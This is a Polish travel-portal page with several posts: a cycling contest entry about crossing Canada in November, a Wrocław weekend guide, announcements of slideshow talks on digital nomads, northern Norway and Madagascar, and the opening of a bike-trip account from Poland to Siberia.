Klub Podróżników – Śródziemie – portal podróżniczy | Polska, Europa, Świat
  • Slajdowiska
    • Spotkania autorskie
  • Relacje
    • Europa
      • Albania
      • Austria
      • Bułgaria
      • Chorwacja
      • Czarnogóra
      • Czechy
      • Dania
      • Francja
      • Hiszpania
      • Holandia
      • Kosowo
      • Litwa
      • Luksemburg
      • Macedonia
      • Malta
      • Niemcy
      • Norwegia
      • Portugalia
      • Rosja
      • Rumunia
      • Serbia
      • Slowacja
      • Slowenia
      • Szwajcaria
      • Ukraina
      • Wegry
      • Wielka Brytania
      • Włochy
    • Polska informacje i fotorelacje
      • Forty i twierdze
      • Góry
      • Kolej
        • Parowozownie
      • Miasta
      • Miejsca wyjątkowe
      • Muzea
      • Podziemia
      • Polska na weekend
      • Skanseny w Polsce
      • Woda
      • Województwa
        • Dolny Śląsk
        • Kujawsko-pomorskie
        • Łódzkie
        • Lubelskie
        • Lubuskie
        • Małopolskie
        • Mazowieckie
        • Opolskie
        • Podkarpackie
        • Podlaskie
        • Pomorskie
        • Śląskie
        • Świętokrzyskie
        • Warmińsko-mazurskie
        • Wielkopolskie
        • Zachodniopomorskie
      • Zabytki sakralne
      • Zamki i pałace
    • Świat
      • Afryka
      • Ameryka Południowa
      • Ameryka Północna
      • Ameryka Środkowa i Karaiby
      • Antarktyda
      • Australia i Oceania
      • Azja
    • Schroniska Górskie
  • Filmy
  • Sprzęt
    • Polecamy
    • Recenzje sprzętu
    • Testy sprzętu
  • Autorzy
    • Albin Marciniak
    • Karolina Zięba-Kulawik
    • Redakcja
  • Forum
  • Fundacja Aleja Podróżników
  • Kontakt
niedziela, 29 marca, 2026
Klub Podróżników – Śródziemie – portal podróżniczy | Polska, Europa, Świat
  • Slajdowiska
    • Spotkania autorskie
  • Relacje
    • Europa
      • Albania
      • Austria
      • Bułgaria
      • Chorwacja
      • Czarnogóra
      • Czechy
      • Dania
      • Francja
      • Hiszpania
      • Holandia
      • Kosowo
      • Litwa
      • Luksemburg
      • Macedonia
      • Malta
      • Niemcy
      • Norwegia
      • Portugalia
      • Rosja
      • Rumunia
      • Serbia
      • Slowacja
      • Slowenia
      • Szwajcaria
      • Ukraina
      • Wegry
      • Wielka Brytania
      • Włochy
    • Polska informacje i fotorelacje
      • Forty i twierdze
      • Góry
      • Kolej
        • Parowozownie
      • Miasta
      • Miejsca wyjątkowe
      • Muzea
      • Podziemia
      • Polska na weekend
      • Skanseny w Polsce
      • Woda
      • Województwa
        • Dolny Śląsk
        • Kujawsko-pomorskie
        • Łódzkie
        • Lubelskie
        • Lubuskie
        • Małopolskie
        • Mazowieckie
        • Opolskie
        • Podkarpackie
        • Podlaskie
        • Pomorskie
        • Śląskie
        • Świętokrzyskie
        • Warmińsko-mazurskie
        • Wielkopolskie
        • Zachodniopomorskie
      • Zabytki sakralne
      • Zamki i pałace
    • Świat
      • Afryka
      • Ameryka Południowa
      • Ameryka Północna
      • Ameryka Środkowa i Karaiby
      • Antarktyda
      • Australia i Oceania
      • Azja
    • Schroniska Górskie
  • Filmy
  • Sprzęt
    • Polecamy
    • Recenzje sprzętu
    • Testy sprzętu
  • Autorzy
    • Albin Marciniak
    • Karolina Zięba-Kulawik
    • Redakcja
  • Forum
  • Fundacja Aleja Podróżników
  • Kontakt
Klub Podróżników – Śródziemie – portal podróżniczy | Polska, Europa, Świat
Klub Podróżników – Śródziemie – portal podróżniczy | Polska, Europa, Świat
  • Klub Podróżników – Śródziemie – portal podróżniczy | Polska, Europa, Świat
  • Fundacja Aleja Podróżników
  • Forum
  • Relacje
    • Europa
    • Polska
    • Świat
  • Sprzęt
    • Recenzje sprzętu
    • Testy sprzętu
  • Książka
  • Kontakt
Copyright 2025 - All Right Reserved
PRACE KONKURSOWE ŚWIAT

ROWEROWY PLAC ZABAW – KANADA – praca konkursowa

przez Redakcja 2019-04-30
Napisane przez Redakcja
Kanada

Kanada

 ROWEROWY PLAC ZABAW – KANADA

Jagoda Popiołek

1

 

Jednego dnia spóźniony jedziesz do pracy, drugiego dnia na drugim końcu świata, w drewnianej chatce pośrodku niczego odkuwasz lód z zamarzniętego roweru łyżką. Tak wyszło, że moją pierwszą wycieczką rowerową za miasto była wyprawa do Kanady. 1600 km w miesiąc (listopad) z Prince George do Vancouver, przez 4 parki narodowe i 2tyś m przewyższenia a to wszystko w ramach Bike Jamboree – rowerowej sztafety dookoła świata. Kiedy bolały mnie nogi wmawiałam sobie, że rosną mi mięśnie, kiedy płuca, że powiększają się i będą bardziej wydolne. Odkryłam, że można pedałować jedną nogą 12km, że łydki nie czują zimna i że można prawie zasnąć jadąc na rowerze. Krótko o prozie życia na rowerze w Kanadzie oczami rowerowego amatora. Jednego dnia pijesz kawę o poranku, drugiego wpadasz do kawiarni, żeby zapytać o wrzątek, żeby polać zamarzniętą zębatkę z tylniej przerzutki.
Jednego dnia marzniesz na przystanku, drugiego rozwijasz nadświetlną prędkość na rowerze pędząc w dół przez górski kanion – 6km, 7% nachylenia, niestety w cieniu, niestety wczesną zimą. Przed zjazdem mijasz ulubiony znak – Check your breaks! Akurat trafiamy na roboty drogowe. Panowie sterujący ruchem zatrzymują go i możesz spokojnie pędzić jej środkiem. Zimno nabiera nowego wymiaru. Ręce i stopy przestają istnieć, a twoja wewnętrzna pralka wiruje na maksymalnych obrotach tak, że trzęsiesz się jak galareta. Stajesz w kawałku słońca, bo masz ochotę poczuć choć przez sekundę choć ból w rękach. Już na dole pierwsze co robisz to… rzucasz rower, żeby… porobić pajacyki.  

 

2

 

Jednego wylegujesz się w wannie, drugiego, wspinasz się po stromej skarpie i ruinach starych zjeżdżalni wodnych, żeby 4h pławić się nocą w prywatnych gorących źródłach wśród drzew, oświetlonymi dokładnie 30 tyś kolorowych światełek przywiezionych z Chin przez poszukiwacza złota, budującego baseny i uwielbiającego hipopotamy. Nie wierzysz gdzie jesteś i przez kolejne 3 dni nie wierzysz gdzie byłeś. Do tej pory nie wierzysz. Jednego dnia cieszysz się, że przejechałeś 20km. Drugiego pobijasz życiowy rekord – 107 km jednego dnia. Cieszą Cię małe rzeczy na przykład, że stoisz. Rozbijasz namiot w totalnej ciemności, siedzisz przy ognisku z nowo poznanymi wspinaczami pijąc ich niezwykłą herbatę z roślin „z nad jeziora” a rano budzisz się nad jeziorem… o którego istnieniu nie miałeś pojęcia.

 

3

 

Jednego dnia robisz szarlotkę, drugiego próbujesz ją odtworzyć w Kanadzie. Idziesz do sklepu i… chcąc kupić 1kg mąki odkrywasz, że możesz kupić wyłącznie 2,5, 5 albo 10kg. A budyń istnieje tylko w formie puddingu. Mimo to pożyczasz mąkę i tworzysz szarlotkę, która podbija serca gospodarzy. Jednego dnia ważysz się na wadze w kuchni, drugiego na wadze dla tirów (ciekawostka – sam rower z sakwami waży 60kg). Jednego dnia pijesz z kompletu szklanek z Ikei, drugiego okrywasz, że w kanadyjskich domach, każda szklanka, każdy kubek jest z innego świata. Gliniane, porcelanowe, czy szklane, kolorowe i nie. Słoiki też mogą być świetnymi szklankami. Jednego dnia uczysz się listy słówek po angielsku, drugiego jadąc przez Kanadę w listopadzie, jej obywatele uświadamiają Cię ile istnieje różnych określeń na szaleństwo po angielsku. Kiedy nawet miasteczko Cię dopinguje. You CanMore!

 

4

 

Jednego dnia nie masz ochoty na wodę, kupujesz sok. Drugiego cała woda jaką masz do picia zamarza, więc wieczorem nie masz ani co pić ani co jeść. Rozmrażasz co się da przy piecu. Cały kolejny dzień pijesz lód z wodą. I kiedy wieczorem przyjeżdżasz do restauracji, zagrzać się i coś zjeść i kiedy dostajesz na początek…. wodę z lodem.. wybuchasz śmiechem. 

 

5

 

Jednego dnia przemokniesz w drodze po domu, drugiego pedałujesz w deszczu cały dzień, główną drogą, jedną wielką kałużą, w której ukryte są studzienki. Auta dzielnie Cię mijają i wtedy nocą dojeżdżasz do gospodarzy, którzy zgodzili się Cię przenocować. Drzwi garażu z milionem rowerów, nawet na suficie, otwierają się i słyszysz „Welcome to the crazyness”. Dostajesz 2 ręczniki i zostajesz wepchnięty do ciepłej łazienki, jednej z czterech. Poznajesz ogromną rodzinę, ogromnego domu, która miała przyjechać następnego dnia ale przyjechali wcześniej, jesz nimi górę pizz, słuchasz gry na pianinie córki gospodarzy – „believer” – kolejny raz nie wierzysz w to gdzie jesteś. Jednego dnia jesteś przekonany, że jazda w dół jest o niebo lepsza niż pod górę, drugiego wpadasz w euforię na widok podjazdu bo to oznacza możliwość wykrzesania w sobie ciepła.

 

6

 

Jednego dnia starasz się jeść urozmaicone śniadanie, drugiego jesz przez miesiąc codziennie owsiankę na śniadanie i po miesiącu dalej ją uwielbiasz. (przepis: płatki owsiane, masło orzechowe (zjedliśmy prawie 7kg), czekolada, orzechy, żurawina, miód, suszone owoce, jabłka, od święta truskawki i śmietana – POLECAM!!)

 

7

 

Jednego dnia liczysz wagony pociągu, jesteś pod wrażeniem 30, drugiego liczysz wagony w Kanadzie, gdzie po 150 wagonach pociąg się zatrzymuje i możesz się tylko domyślać ile ich jeszcze stoi w lesie. Jednego dnia oglądasz program o wilkach na Discovery, drugiego wilk wychodzi Ci na drogę. Dopiero wtedy zdajesz sobie sprawę jak jest duży i jak można czuć się przy nim małym. Jednego dnia kupujesz pączka w kiosku, drugiego pączki wyznaczają beznadziejność twojego dnia. I tak kiedy po śnieżycy dojazdu do Jasper, rozdzielacie się, 2 osoby idą na zakupy spożywcze – kupują 16 pączków. 2 kolejne idą do sklepu rowerowego i – kupują 12 pączków. Spotykacie się na środku drogi i.. wiadomo 😉 (najlepsze pączki jedliśmy w Chilliwack, gospodarz zabrał nas na lokalne pączki, które znikają przed 11. Urzekł nas pączek budyniowy z bekonem).

 

8

 

Jednego dnia lepisz pierogi u babci, drugiego dowiadujesz się, że na drugim końcu świata w Kanadzie uwielbią pierogi. Mają nawet pomnik pieroga! Gospodarze witają Cię pierogami z serem cheddarem, (przez to żółte w środku) zapiekanymi z pieczarkami i bekonem. Jednego dnia oglądasz pół dnia tv, drugiego jedziesz 200km przez nieskończony las, gdzie nie ma nic. Ani zasięgu, ani ludzi, ani czegokolwiek. Czujesz się jak na wielkim górskim placu zabaw zarezerwowanym o tej porze roku wyłącznie dla Ciebie. Docierasz do momentu, gdzie z 1325m zjeżdżasz 30km wyłącznie w dół.. do miasta Hope. Czujesz się jak na potężnym górskim rollercoasterze, widzisz ulubione – Check your break i uśmiechasz się w środku. Takiego uśmiechu wam życzę.

 

9

Crazyness makes you acomplished great things (our host In Golden)

 

 

Wspomnienia z Podróży – Świat

3 miejsce
 Plecak Rockland PLUME 25
 Śpiwór Rockland ULTRALIGHT 1000
 
 
RAVEN

Jesteśmy krakowską firmą handlową, od 2005 roku funkcjonującą w branży outdoor. Jako RAVEN zajmujemy się dystrybucją i handlem wysokiej jakości odzieżą, butami oraz sprzętem turystycznym. Swoje produkty kierujemy do sklepów detalicznych, których docelowymi odbiorcami są pasjonaci świata gór, miłośnicy podróży i aktywnej turystyki oraz biegacze i rowerzyści – zarówno miejscy, jak i górscy. Jesteśmy wyłącznym, krajowym dystrybutorem kilkunastu uznanych – i wciąż przy tym dynamicznie rozwijanych brandów, takich jak Marmot, Aku, Teva, Hoka One One czy Smartwool. Ponadto, bazując na znajomości branży oraz zdobytym doświadczeniu, od 2009 rozwijamy autorską markę Rockland, oferującą sprzęt turystyczno – kempingowy. Poza polskim rynkiem, część naszych marek dystrybuujemy do 11 krajów Europy Wschodniej, na czele z Czechami i Węgrami. Ekonomiczny aspekt związany z prowadzeniem generującej zysk firmy nigdy nie przesłonił nam wartości, jakimi kierujemy się na co dzień w życiu. Bardziej niż biznesmenami czujemy się pasjonatami zdrowego i sportowego stylu życia, którego czynnymi praktykami są również nasi klienci oraz ich finalni odbiorcy. Razem z nimi tworzymy jedną wielką, „outdoorową” rodziną, dla której góry, sport, podróże czy bieganie stanowi nie tylko hobby po godzinach, ale i pasją, którą udało nam się połączyć z pracą. Wierzymy, iż produkty, które oferujemy, przyczynią się do realizacji Waszych turystyczno – sportowych ambicji.  http://www.ravenco.eu.

Raven           Rockland

2019-04-30 0 komentarze/y
0 FacebookTwitterPinterestEmail
Reklama

Weekend we Wrocławiu. 4 rzeczy, o których warto wiedzieć

przez Redakcja 2019-04-29
Napisane przez Redakcja
Weekend we Wrocławiu. 4 rzeczy o których warto wiedzieć

Weekend we Wrocławiu. 4 rzeczy o których warto wiedzieć

 Weekend we Wrocławiu. 4 rzeczy, o których warto wiedzieć

 

 Weekend we Wrocławiu. 4 rzeczy o których warto wiedzieć 2

 

Cenne architektoniczne zabytki, ciekawa kultura i niezwykłe widoki – zarówno w samym mieście, jak i jego okolicach. Wrocław to miasto idealne na weekendowy lub nieco dłuższy wypad. Tym bardziej, że na miejscu czeka też różnorodna oferta noclegów, wśród których każdy znajdzie rozwiązanie dla siebie.

1.      Wrocław – położenie

2.      Wrocław – zabytki

3.      Wrocław – wydarzenia kulturalne

4.      Wrocław – noclegi

5 milionów – tylu turystów odwiedziło w w 2016 Wrocław. Liczba ta rośnie z roku na rok, a jeszcze pięć lat wcześniej wynosiła „zaledwie” 3 miliony. Co ważne, wśród gości stolicy Dolnego Śląsk są zarówno Polacy, jak i obcokrajowcy, wśród których dominują Czesi, Niemcy, Słowacy i Anglicy. Dla wielu Wrocław jest celem podróży, dla innych zaś tylko przystankiem na trasie. Miasto leży bowiem na wielu szlakach – najważniejsze z nich to droga św. Jakuba, rowerowa Euro Velo 9 czy Dolnośląski Szlak Piwa i Wina.

Miasto krasnali należy do najstarszych w Polsce i zarazem najbogatszych w zabytki – zarówno te z czasów średniowiecznych, jak i późniejszych, włączając w to świadectwa XX-wiecznej myśli architektonicznej. Turystyczna oferta Wrocławia oczywiście nie kończy się na zabytkach, bo stolica Dolnego Śląska słynie z ciekawych wydarzeń artystycznych, a poza tym jest świetną bazą wypadową dla turystów chcących poznać bliżej jego niezwykle interesujące okolice.

Wrocław – położenie

Wrocław jest położony na styku trzech regionów geograficznych – Równiny Wrocławskiej, Pradoliny Wrocławskiej i Równiny Oleśnickiej. Najbardziej charakterystyczna cecha terenu, na którym ulokowano miasto to jednak woda – a konkretnie sześć rzek. Chodzi o Odrę oraz jej dopływy, które zasilają nurt drugiej największej polskiej rzeki: Ślęzę, Bystrzycę, Widawę i Oławę, a także Dobrę i innych, mniejszych strug. Przez miasto przepływają ponadto liczne kanały, na czele z Miejskim, Granicznym i Żeglugowym.

Na uwagę zasługują także bliższe i dalsze okolice Wrocławia. Dolny Śląsk to region, który może pochwalić się największą liczbą zamków i pałaców w Polsce. Wrażenie robią też warunki naturalne – na terenie województwa na turystów czekają liczne, malownicze góry, przepiękne miasteczka i wsie oraz nieskażona przyroda. Co ważne, miasto jest doskonale skomunikowane zarówno z największymi metropoliami kraju, jak i okolicznymi miejscowościami – a to znacznie ułatwia organizację wycieczek.

Wrocław – zabytki

Może jednak okazać się, że podczas pobytu w stolicy Dolnego Śląska nie znajdziesz czasu na to, by zwiedzić jej okolicę. Samo miasto jest, jak dowiedziałeś się już na początku tekstu, przebogate w zabytki. Miłośnicy średniowiecznej architektury z całą pewnością nie będą nudzić się w obrębie Starego Miasta. Najważniejsze rozlokowane są w okolicy rynku. Warte wspomnienia są między innymi Stary Ratusz, Archikatedra św. Jana Chrzciciela oraz Kościół św. Stanisława, św. Doroty i św. Wacława.

Na architektonicznej mapie Polski Wrocław wyróżnia się nie tylko jako miasto gotyku. Fani pięknych i oryginalnych budynków mogą tu nasycić oczy bogactwem architektury z pierwszej połowy XX wieku. Style, które zostawiły swoje piętno na stolicy Dolnego Śląska to przede wszystkim modernizm i neogotyk. Na szczególną uwagę zasługują takie obiekty jak Hala Stulecia, Hala Targowa, Wieża Ciśnień przy Alei Wiśniowej, SDH Feniks, Hotel Monopol czy Dom Handlowy Kameleon.

Wrocław – wydarzenia kulturalne

Na Dolny Śląsk warto przyjechać także ze względu na bogatą ofertę kulturalną jego stolicy. Miasto uznawane jest za jedno z teatralnych, literackich i muzycznych centrów naszego kraju. Działają tu takie uznane w całej Polsce instytucje jak Teatr Polski, Wrocławski Teatr Współczesny, Opera Wrocławska, Filharmonia Wrocławska i Teatr Muzyczny Capitol. Najmłodsi na pewno będą zaś zainteresowani repertuarem przygotowanym przez Wrocławski Teatr Lalek.

Na uwagę zasługują też liczne tutejsze muzea. Najbardziej znane to z całą pewnością Panorama Racławicka – instytucja, która zajmuje się ekspozycją tego słynnego obrazu. Na tym jednak oferta wrocławskich muzeów się nie kończy, bo w mieście działa kilkadziesiąt tego typu placówek. Bez względu na to, czy interesuje cię przyroda, dzieje farmacji, archeologia czy też historia Polski i regionu – w stolicy Dolnego Śląska na pewno znajdziesz coś dla siebie. Planując spacer po wrocławskich muzeach, koniecznie weź pod uwagę wizytę w Muzeum Etnograficzne, Muzeum Człowieka, Muzeum Piastów Śląskich i Muzeum Sztuki Cmentarnej.

Wrocław – noclegi

Wrocław to miasto idealne na weekendowy city break nie tylko ze względu na mnogość atrakcji, które czekają tu na przyjezdnych oraz ciekawe pod wieloma względami okolicę. Obrazu miasta dopełnia bowiem bogata baza noclegów, wśród których wszyscy turyści znajdą opcję idealną dla siebie – bez względu na zasobność portfela i oczekiwania względem standardów.

Obok tanich, dostępnych dla wszystkich kwater w hostelach czy prywatnych pensjonatów, we Wrocławiu znajdziesz także pokoje w luksusowych hotelach, nierzadko ulokowanych w zabytkowych obiektach. Rezerwacja noclegu we Wrocławiu blisko dworca PKP będzie łatwa i szybka dzięki serwisom takim jak noclegi.pl.

 

 

2019-04-29 0 komentarze/y
0 FacebookTwitterPinterestEmail
Cykliczne Spotkania Podróżników

Digital Nomad

przez Redakcja 2019-04-29
Napisane przez Redakcja

Fundacja Klubu Podróżników Śródziemie Aleja Podróżników
Arteteka Wojewódzkiej Biblioteki Publicznej w Krakowie
ul. Rajska 12 I piętro (wejście od ulicy Szujskiego)
(budynek Małopolski Ogród Sztuki)
27.05.2019 godzina 19:00
Krzysztof Misztal
Digital Nomad: Czy ciągłe podróże mogą być sposobem na życie?

slajdowisko nr 475

“Cyfrowi nomadzi” – kim oni są? Pojęcie to staje się coraz bardziej modne, coraz częściej można usłyszeć o nich w mediach. Według przewidywań analityków, bycie cyfrowym nomadem już niebawem stanie się bardzo popularnym sposobem na życie.

Dalej zadajesz sobie pytanie kto to taki? Jak wygląda codzienne życie osoby podróżującej i pracującej online? Czy ciężko zacząć przemierzać świat i zarabiać pieniądze w internecie? Czy piękne zdjęcia z mediów społecznościowych faktycznie pokazują jak nomadzi pracują i spędzają swój czas?

Zapraszamy na prezentację poświęconą podróżom oraz stylowi życia cyfrowych nomadów. Odpowiemy na pytania, obalimy mity, oraz przedstawimy obraz naszego codziennego życia. Porozmawiamy także o tym:

– Kto może zostać nomadem? Jak tego się za to zabrać?
– Czy taki styl życia dużo kosztuje?
– Plusy i minusy ciągłych podróży.
– Jak wygląda zwykła codzienność?
– Jakie są nasze ulubione miejsca i kraje?
– Czy ciężko jest poznać ludzi i nawiązać nowe przyjaźnie?

Ponadto opowiemy o życiu na Wyspach Kanaryjskich – rajskich wyspach w Europie oraz jednym z naszych ulubionych miejsc. Jak wygląda tu codzienność, czy faktycznie są takie rajskie? Czy jest to najlepsze miejsce w Europie na ucieczkę przed zimą?
Prezentacje poprowadzą Krzysztof z Margą.

Krzysztof Misztal, 28 lat. Od 4 lat żyje poza Polską, od 3 lat nomad na pełny etat.

Marga – absolwentka psychologii i Iberystyki. Spędziła 3 lata w różnych częściach Hiszpanii. Założycielka szkoły hiszpańskiego online aguacate.pl

 

Obraz może zawierać: góra, niebo, na zewnątrz i przyroda

Obraz może zawierać: co najmniej jedna osoba, ocean, góra, niebo, na zewnątrz i przyroda

2019-04-29 0 komentarze/y
0 FacebookTwitterPinterestEmail
Cykliczne Spotkania Podróżników

Jak zdobyliśmy północny kraniec Europy

przez Redakcja 2019-04-29
Napisane przez Redakcja

Fundacja Klubu Podróżników Śródziemie Aleja Podróżników
Arteteka Wojewódzkiej Biblioteki Publicznej w Krakowie
ul. Rajska 12 I piętro (wejście od ulicy Szujskiego)
(budynek Małopolski Ogród Sztuki)
20.05.2019 godzina 19:00
Andrzej Zygmunt
Jak zdobyliśmy północny kraniec Europy

 

slajdowisko nr 474

Dla żadnego z nas nie był to pierwszy pobyt w Skandynawii, ale tym razem postawiliśmy sobie za cel zdobycie północnego krańca Europy. Wbrew powszechnej opinii nie jest to leżący na wyspie przylądek Norkapp, ale będący częścią półwyspu Nordkinn przylądek o tej samej nazwie. Nie da się tam dojechać – można dopłynąć, albo dojść pieszo po wyznaczonym szlaku. Taki trekking liczy około 50 km i zajmuje co najmniej dwa dni. Prawie połowa trasy przebiega po kamiennych polach co powoduje, że teoretycznie łatwa trasa potrafi dać się mocno we znaki. Opowiemy o naszych przeżyciach podczas trekkingu i o tym co widzieliśmy jadąc na północ – o białych nocach, o tym jak smakują liofilizaty i języki renifera oraz o wielkiej frajdzie jaką jest spanie na dziko. Ale przed wszystkim pokażemy Wam piękne krajobrazy północy, które są bardzo surowe, ale jednocześnie niezmiernie bogate i mają taką cechę, że kto raz je zobaczy na żywo ten będzie chciał
zawsze do nich wrócić

 

Obraz może zawierać: niebo, góra, ocean, chmura, na zewnątrz, przyroda i woda

Obraz może zawierać: 2 osoby, ludzie stoją, ocean, plaża, dziecko, niebo, na zewnątrz, przyroda i woda

Obraz może zawierać: jedzenie

Obraz może zawierać: 3 osoby, uśmiechnięci ludzie, ludzie stoją, niebo, chmura, na zewnątrz i przyroda

Obraz może zawierać: co najmniej jedna osoba, ludzie stoją, niebo, ocean, buty, na zewnątrz, przyroda i woda

Obraz może zawierać: na zewnątrz i przyroda

Obraz może zawierać: ocean, niebo, zmierzch, na zewnątrz, przyroda i woda

Obraz może zawierać: niebo, buty, drzewo, na zewnątrz, przyroda i woda

Obraz może zawierać: 1 osoba, uśmiecha się

2019-04-29 0 komentarze/y
0 FacebookTwitterPinterestEmail
Cykliczne Spotkania Podróżników

Nosy Be – Madagaskar

przez Redakcja 2019-04-26
Napisane przez Redakcja

Fundacja Klubu Podróżników Śródziemie Aleja Podróżników
Arteteka Wojewódzkiej Biblioteki Publicznej w Krakowie
ul. Rajska 12 I piętro (wejście od ulicy Szujskiego)
(budynek Małopolski Ogród Sztuki)
13.05.2019 godzina 19:00
Jacek Płonczyński
„Mała Wielka Wyspa” (Nosy Be – Madagaskar)

 slajdowisko nr 473

 Myśl, że można wybrać się na tydzień na Madagaskar, nawet w sennych marzeniach nie zagościła w mojej głowie…, aż do grudnia 2018 roku. Bo zbyt daleko (7750 km), za drogo (cena biletu lotniczego!) i w ogóle po diabła jechać tam na tak krótko. Teraz, po powrocie z wyspy, z wielką przyjemnością opowiem Państwu o tej, trochę jednak wariackiej, eskapadzie za równik, na Dużą Wyspę, czyli Nosy Be (po malgasku), gdzie wszystko tchnie innością: kapiący wilgocią klimat, tropikalne burze, gorący ocean, wybujała roślinność, endemiczne zwierzęta, ciemnoskórzy mężczyźni, seksowne kobiety, a nawet gwiazdy na nocnym niebie, układające się w nieznany wzór. Do tego fantastyczne widoki przesuwającego się pod skrzydłem afrykańskiego kontynentu – Egipt, Sudan, Etiopia, Kenia, Tanzania… i z powrotem. Po prostu lekcja geografii w 3D! Zapraszam na pokaz zdjęć z komentarzem oraz filmy i oryginalną muzykę.

 

Obraz może zawierać: niebo, chmura, tekst, na zewnątrz, przyroda i woda

Obraz może zawierać: drzewo, niebo, roślina, na zewnątrz i przyroda

Obraz może zawierać: co najmniej jedna osoba i na zewnątrz

Obraz może zawierać: ocean, niebo, chmura, zmierzch, na zewnątrz, woda i przyroda

Obraz może zawierać: roślina, na zewnątrz i przyroda

Obraz może zawierać: drzewo i na zewnątrz

Obraz może zawierać: drzewo, roślina, niebo, trawa, na zewnątrz i przyroda

Obraz może zawierać: co najmniej jedna osoba, ludzie spacerują, niebo i na zewnątrz

Obraz może zawierać: co najmniej jedna osoba i na zewnątrz

Obraz może zawierać: roślina, kwiat, drzewo, na zewnątrz i przyroda

2019-04-26 0 komentarze/y
0 FacebookTwitterPinterestEmail
PRACE KONKURSOWE ŚWIAT

ROWEREM Z POLSKI NA SYBERIĘ – praca konkursowa

przez Redakcja 2019-04-23
Napisane przez Redakcja
ROWEREM Z POLSKI NA SYBERIĘ

 ROWEREM Z POLSKI NA SYBERIĘ

 ROWEREM Z POLSKI NA SYBERIĘ 2018

Paweł Pieczka

Syberia – kraina piękna, ogromna, niedostępna. Interesowała mnie od bardzo dawna. W końcu tego lata, spełniłem swoje największe marzenie. W połowie lipca ruszyłem rowerem z Polski do pięknego Irkucka, który leży w pobliżu magicznego Jeziora Bajkał! Tak zaczęła się moja pięciomiesięczna podróż!

 

1

 Planowana trasa wyprawy na Syberię

 

Plan mojej wyprawy był bardzo prosty. Każdego dnia miałem zamiar pokonywać rowerem kolejne kilometry i zbliżać się do celu. Niestety, od samego początku nie było łatwo. Pakowanie. Tutaj pojawiły się pierwsze wątpliwości, obawy czy strach. Czy mam wszystko? A może jeszcze to będzie potrzebne? A może tamto? Dobra. Nie ma czasu! W końcu, upchnąłem jakoś wszystko w sakwach firmy CROSSO, pożegnałem się z rodziną i ruszyłem w nieznane! Z tego ci się później dowiedziałem, to był najtrudniejszy moment dla mojej rodziny. Gdy moja postać całkowicie zniknęła za pierwszym zakrętem. Do zobaczenia za 5 miesięcy!!!

 

2

Ekwipunek zabrany na wyprawę

 

Przez pierwsze dni jazdy pogoda była dość kapryśna. Dodatkowo, musiałem przyzwyczaić się do jazdy tak mocno obładowanym rowerem. Wszak jego waga z sakwami to ok. 50kg! Momentami czułem się, jakbym jechał czołgiem Rudy 102. Pierwsze, poważne przygody zaczęły się na granicy z Ukrainą. Okazało się, iż przejście graniczne w Korczowej nie obsługuje ruchu pieszego oraz rowerowego… Co robić w takiej sytuacji?? Szybka decyzja. Rozmowa z kilkoma kierowcami busów i po chwili miałem transport! Razem z rowerem zapakowałem się do starego transportera należącego do ukraińskiej rodziny. Teraz wszystko było w porządku! 3h stania w kolejce i jestem na terenie Ukrainy! Zaczynamy prawdziwą RAJZĘ W NIEZNANE! Ukrainę wspominam bardzo dobrze. Świetny nocleg na parafii prowadzonej przez Polskiego księdza Jacka we Lwowie, zwiedzanie Kijowa razem z kolegą ze studiów, wycieczka do owianego tajemnicą Czarnobyla, biwaki nad jeziorami i kąpiel w rzekach. Spotkałem mnóstwo bardzo miłych ludzi, co w zachodniej części Europy staje się coraz rzadsze. Często zapraszano mnie na złocisty trunek lub nawet pizzę. Każdy mnie dopingował oraz życzył powodzenia w dalszej drodze. W końcu docieram do drugiej granicy. Tej obawiałem się najbardziej. Granica Ukraińsko – Rosyjska. Podczas szczegółowej kontroli, o mały włos nie zostałem wzięty za przemytnika narkotyków! W moim bagażu znaleziono kilka nieopisanych tabletek przeciwbólowych. Nie było łatwo przekonać celników, iż to zwykłe tabletki. Na szczęście po prawie godzinnym przesłuchaniu, dostałem rosyjską pieczątkę w paszport i zameldowałem się na terytorium Federacji Rosyjskiej. Tak znalazłem się na terenach, gdzie kiedyś rozegrała się największa bitwa pancerna na świecie – Bitwa na Łuku Kurskim! W towarzystwie rodziny u której nocowałem, spędziłem tam dwa, fantastyczne dni. Dzięki temu moje pierwsze wrażenie o Rosji było bardzo dobre i napawało optymizmem na dalszą podróż. Na trasie przez Woroneż do Saratowa musiałem zmagać się z dość sporym ruchem samochodowym. Najniebezpieczniejsze były ogromne KAMAZY, które ciągły po kilkanaście ton ładunku a mimo to pędziły z zawrotną prędkością, bardzo często wyprzedzając mnie na przysłowiową gazetę. Oczywiście, kilka razy nie było wyjścia i musiałem awaryjnie ewakuować się na pobocze. Na szczęście było warto się męczyć.

 

3

Ogromna rzeka Wołga pod Saratowem

 

Gdy z Parku Pobiedy w Saratowie po raz pierwszy zobaczyłem rzekę Wołgę, zaniemówiłem! Rzeka o nieprawdopodobnych rozmiarach – sowieckie monstrum! Miałem okazję podziwiać ją przez kilka dni, więc dobrze wiem o czym mówię. Nie ma drugiej, tak ogromnej rzeki na świecie. Spokojnie pokonywałem kolejne kilometry. Bardzo dużo wrażenie robiły na mnie ogromne, otwarte przestrzenie. A to był dopiero przedsmak tego, co czekało mnie na kazachskich stepach. W Samarze zobaczyłem stadion będący areną MŚ 2018, w Togliatti wcieliłem się w rolę niańki, natomiast w jednej z małych wiosek po raz pierwszy skosztowałem rosyjskiego samogonu. Uwierzcie mi, następnego dnia nie było łatwo kręcić kolejnych kilometrów…
Po wjechaniu na teren Tatarstanu oraz Baszkirii, od razu zauważyłem różnicę. Cerkwie prawosławne zostały zastąpione przez meczety, a mieszkańcy stali się jeszcze bardziej gościnni! W jednym z miast zostałem zaproszony do domu na herbatę. Skończyło się na obiedzie, degustacji miejscowych trunków, kąpieli w bani oraz noclegu pod jednym dachem z nowo poznanymi gospodarzami. To jest właśnie magia Rosji! eW końcu, po ponad miesiącu jazdy po równinach, przyszedł czas na pierwsze, małe wyzwanie. Góry Ural! Kiedyś, uczyłem się o nich na lekcji geografii, a teraz przemierzam je na rowerze. Cóż to było za uczucie! Trafiłem tam na piękne widoki oraz ogromną dziurę w ziemi, która okazałą się być kopalną zwykłą kopalnią. Dodatkowo w tym miejscu przekroczyłem umowną granicę Europy i Azji. Witamy na nowym kontynencie!

 

4

Kopalnia w górach Ural

 

